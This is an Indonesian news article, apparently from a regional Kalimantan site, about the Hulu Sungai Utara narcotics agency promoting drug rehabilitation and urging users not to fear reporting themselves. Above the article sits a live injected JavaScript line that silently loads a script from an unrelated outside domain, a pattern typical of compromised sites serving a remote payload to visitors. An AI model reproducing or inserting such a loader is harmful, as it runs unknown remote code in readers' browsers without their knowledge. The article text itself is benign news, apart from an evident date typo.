(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pengguna Penyalahguna Narkoba Direhabilitasi, BNNK HSU : Jangan Takut Melapor


AMUNTAI, Badan Narkotika Nasional (BNN) Kabupaten Hulu Sungai Utara (HSU) mengadakan kegiatan sosialisasi program rehabilitasi dan pasca rehabilitasi ke semua lapisan masyarakat.

Kegiatan berlangsung di Hotel Balqis, Kamis (11/4/3019), dihadiri perwakilan SKPD dilingkungan Pemkab HSU, camat, Kapolsek se Kabupaten HSU, Koramil serta tokoh masyarakat HSU.

Kepala BNNK HSU H Khatria Wardoni mengatakan, kegiatan ini bertujuan untuk menyosialisasikan bidang mutu dan sistem layanan penanganan korban penyalahgunaan narkoba di Kabupaten Hulu Sungai Utara.

“Karena penyalahgunaan dan peredaran gelap narkotika, psikotropika dan bahan adiktif serta prekursor narkotika (Narkoba) adalah masalah kompleks yang perlu ditangani bersama,” kata Wardoni.

Disebutkan dari data Badan Narkotika Nasional (BNN) menunjukkan setiap hari ada 30-50 orang meninggal dunia karena kasus penyalahgunaan narkoba. “Rehabilitasi adalah program penyelamatan anak bangsa yang merupakan amanat Undang-Undang Nomor 35 tahun 2009,” ucapnya.

Doni menambahkan BNN wajib melaksanakan rehabilitasi penyalahguna dan korban penyalahgunaan narkoba, disamping melakukan pencegahan dan penegakan hukum atau aksi represif di bidang pemberantasan.

Dirinya berharap agar peserta sosialisasi turut meyebarluaskan informasi dan wawasan kepada masyarakat tentang program rehabilitasi dan pasca rehabilitasi. “Diantara warga mungkin ada yang bingung atau takut (melaporkan diri).
Kita sosialisasikan biar sadar dan melaporkan diri ke puskesmas, rumah sakit, klinik, dan lembaga lain yang telah ditunjuk pemerintah melaksanakan fungsi rehabilitasi,” imbuh Wardoni.

Sementara Sandra Murty, pemateri dalam acara  menyampaikan,
kejahatan narkoba sebagai mesin pembunuh masal (silent killer) diperkirakan 40 orang meninggal perhari karena narkoba.

Untuk meminimalisir terjadinya lost generation perlu adanya lembaga rehabilitasi dan pasca rehabilitasi karena para pecandu, penyalahguna dan korban penyalahgunaan merupakan orang sakit yang butuh perhatian dan bimbingan  bersama.

“Mereka dapat dipulihkan baik secara pisik dan psikis dengan rehabilitasi medis, rehabilitasi sosial dan pascarehabilitasi yang dilakukan secara berkesinambungan dalam satu kesatuan layanan yang terintegritas,” pungkasnya. (dew)

Reporter:Dew
Editor:Bie

Desy Arfianty

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

6 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

8 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

23 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

23 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

24 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

1 hari ago

This website uses cookies.